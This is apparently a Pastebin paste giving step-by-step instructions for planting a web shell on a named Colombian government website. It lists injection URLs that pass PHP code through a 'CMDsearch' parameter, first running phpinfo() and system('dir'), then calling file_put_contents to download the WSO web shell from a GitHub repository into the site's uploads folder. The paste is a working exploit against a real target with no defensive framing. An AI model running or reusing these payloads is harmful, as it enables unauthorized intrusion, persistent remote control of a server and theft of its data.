Advertisement
zurael_sTz

Solution (How to upload shell via RCE on windows server 2017

Jan 31st, 2017
597
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.73 KB | None | 0 0
  1. Solution (How to upload shell via RCE on windows server 2017)
  2.  
  3.  
  4.  
  5. http://www.redriesgos.gov.co/cmdownloads/
  6.  
  7. www.redriesgos.gov.co/cmdownloads?CMDsearch=".phpinfo()."
  8.  
  9. http://www.redriesgos.gov.co/cmdownloads?CMDsearch=".system('dir')."
  10.  
  11. C:\inetpub\wwwroot\wse-sql
  12.  
  13. C:/inetpub/wwwroot/wse-sql/wp-content/uploads/sTz.php
  14.  
  15.  
  16. file_put_contents('C:/inetpub/wwwroot/wse-sql/wp-content/uploads/sTz.php',file_get_contents('https://raw.githubusercontent.com/tennc/webshell/master/xakep-shells/PHP/wso.txt'))
  17.  
  18. http://www.redriesgos.gov.co/cmdownloads?CMDsearch=".file_put_contents('C:/inetpub/wwwroot/wse-sql/wp-content/uploads/stz.php',file_get_contents('https://raw.githubusercontent.com/tennc/webshell/master/xakep-shells/PHP/wso.txt'))."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement